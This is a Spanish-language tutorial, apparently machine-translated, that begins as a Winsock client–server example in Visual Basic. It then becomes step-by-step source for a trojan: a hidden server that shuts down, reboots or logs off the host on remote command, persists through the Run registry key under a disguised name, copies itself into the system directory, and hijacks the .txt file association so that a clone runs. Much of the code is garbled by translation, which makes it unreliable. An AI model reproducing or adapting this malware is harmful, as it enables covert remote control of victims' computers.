¿Cómo programar para lograr comunicación de red usando el control winsock en VB? ¿Tanto el servidor como el cliente tienen que escribir programas separados?
Primero, cree un nuevo proyecto llamado Servidor, cree un nuevo formulario con el nombre frmServer, agregue un control winsock al formulario, establezca el nombre en sckServer y establezca el protocolo en el protocolo TCP/IP predeterminado. .
A continuación volvemos al módulo de formulario frmServer y agregamos el siguiente código:
Private Sub form_Load()
Conmigo
sckServer.LocalPort = 4000'Puerto local
.sckServer.Listen 'Comenzar a escuchar
Finalizar con
End Sub
'Aceptar. Los clientes finalizan la solicitud de conexión.
Sub privada sckServer_ConnectionRequest(ByVal requestID As Long)
Conmigo
Si .sckServer.State <>sckClosed Entonces .sckServer.Close
.sckServer.Accept (requestID)
Terminar con
End Sub
Creemos un programa cliente: cree un nuevo proyecto llamado Cliente y asigne un nombre al formulario. frmClient, agregue un control winsock, llamado sckClient, y el protocolo es TCP/IP. Agregue otro botón cmdConnect y agregue código al módulo de formulario:
Private Sub form_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1 " 'Establezca la IP remota, en este caso configúrela en la máquina local.
.sckClient.RemotePort = 4000 'Puerto remoto, igual que la configuración en el servidor.
Terminar con
End Sub
Sub privado cmdConnect_Click()
SckClient.Connect
End sub
En este punto, haga clic en el botón Conectar y nuestros dos proyectos podrán comunicarse, pero vea No, puede agregar el código al evento sckClient_Connect en el Cliente: debug.print "¡Conexión exitosa!" para verificarlo.
Este es solo el primer paso y no hay ningún trabajo. Vamos a agregarles funcionalidad. En aras de la simplicidad, planeamos implementar algunas funciones pequeñas: apagar, reiniciar y cerrar sesión.
Bien, ¡comencemos!
Cree un nuevo módulo en el proyecto del servidor con el nombre modApi. Este módulo contiene algunas funciones API. Agregue las siguientes funciones API:
Función de declaración pública SalirWindowsEx Lib "user32" Alias. "Salir de WindowsEx " (ByVal uFlags siempre, ByVal dwReserved siempre) mientras
Const pública EWX_LOGOFF = 0
Const pública EWX_REBOOT = 2
Const pública EWX_SHUTDOWN = 1
Función de declaración pública ClipCursor Lib "user32" Alias "ClipCursor" (lpRect como cualquiera) siempre que
Tipo público RECT
Dejado como Largo
Arriba mientras sea largo
Derecha mientras tanto
Abajo como largo
Tipo final
Nota: Programación En dos sockets, el evento importante para la comunicación es el evento DataArrival, que se utiliza para recibir datos remotos.
A continuación se colocan tres botones en el formulario frmClient del proyecto Cliente, a saber, cmdExit, cmdLogoff y cmdReboot. Se utilizan para operaciones de apagado, cierre de sesión y reinicio remotos. Agregue los siguientes códigos respectivamente:
Private Sub cmdExit_Click()
Me.sckClient.SendData "Exit"
End Sub
Privado Sub cmdLogoff_Click()
Me.sckClient.SendData "Logoff"
End Sub
Sub privado cmdReboot_Click()
Me.sckClient SendData "Reboot"
End Sub
Todas las solicitudes se realizan al servidor. Ahora vaya al proyecto del Servidor: agregue el evento DataArrial de sckServer en frmServer para recibir la solicitud del cliente.
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Conmigo
'' Recibir la información solicitada por el cliente
.sckServer.GetData strData
Seleccionar caso strData
Caso "Salir"
''Apagar
Llamar a ExitWindowsEx(EWX_SHUTDOWN, 0)
Caso "Reiniciar"
''Reiniciar
Llamar a ExitWindowsEx(EWX_REBOOT, 0)
Caso "Cerrar sesión"
''Cerrar sesión
Llamar a SalirWindowsEx(EWX_LOGOFF, 0)
Finalizar selección
Finalizar con
End Sub
Bien, ahora hemos implementado la función, pero todavía no, queremos que se ejecute detrás de escena. Esto es simple, agregue la oración: me.hide al evento form_Load en frmServer. Afortunadamente, ahora es invisible, pero todo el mundo sabe que el troyano se ejecuta automáticamente tan pronto como se enciende la computadora. ¿Por qué sucede esto y cómo se logra? ¿Agregarlo al grupo de inicio en el registro? ¡Sí, bien, ven conmigo!
Vuelva a modApi en el proyecto del servidor y agregue la siguiente función API:
Función de declaración pública RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey como cadena, phkResult As Long) As Long
Función de declaración pública RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName Como cadena, ByVal reservado como Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Función de declaración pública RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As Cadena, phkResult As Long) As Long
Const pública REG_BINARY = 3
Const pública REG_SZ = 1
Const pública HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
Un proceso escrito en el grupo de inicio del registro.
Public Sub StartupGroup()
Atenuar sKey Como Cadena
Atenuar resultado Mientras
Atenuar hKeyID Mientras
Dim sKeyVal As String
sKey = "Systrsy" ''Inicie la clave en el grupo y busque una que sea similar al archivo del sistema.
sKeyVal = "C:\windows\system\systrsy.exe" ''La ruta del archivo troyano, puede usar GetSystemDirectory para obtener la ruta del sistema.
resultado = RegOpenKey(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)
Si resultado = 0 Entonces
resultado = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _
Len(sKey) + 1)
Fin si
Fin Sub
Está bien, eso es todo. Sin embargo, ¿alguna vez lo ha pensado? Si no es un novato y lo elimina del registro, ¿no sería en vano nuestro arduo trabajo? No, aún debes asegurarte de que no pueda borrarlo incluso si lo encuentra. Mire el siguiente código:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey Como cadena
Dim skeyVal Como cadena
skey = "txtfile\shell\open\command"
skeyVal = "C:\windows\system\txtView. exe "
resultado = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
Si resultado = 0 Entonces
resultado = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _
skeyVal, Len(skeyVal) + 1)
End If
End Sub
Estoy seguro de que muchos amigos lo sabrán de un vistazo. , originalmente asociado con archivos txt, lo cual no está nada mal, pero ¿de dónde vino C:\windows\system\txtView.exe? Nuestro troyano es C:\windows\system\systrsy.exe. Este es el clon de nuestro caballo de Troya.
Bien, regrese al form_Load del formulario frmServer del proyecto Servidor y agregue el siguiente código:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App .Path & "\" & App.EXEName & ".exe"
sSystemDir = “C:\windows\system”
En caso de error, reanudar a continuación
'Copia el archivo a Systrsy.exe en el directorio del sistema
FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"
En caso de error, reanudar a continuación
Copie el archivo a txtView.exe en el directorio del sistema
FileCopy sCurrentPath, sSystemDir & "\txtView.exe"
Llamar
Llamar a startupGroup
Llamar a WriteToTxt
''Determinar si el programa se está ejecutando
Si App.PrevInstance Entonces
'Salir si ya se está ejecutando.
Finalizar
Finalizar si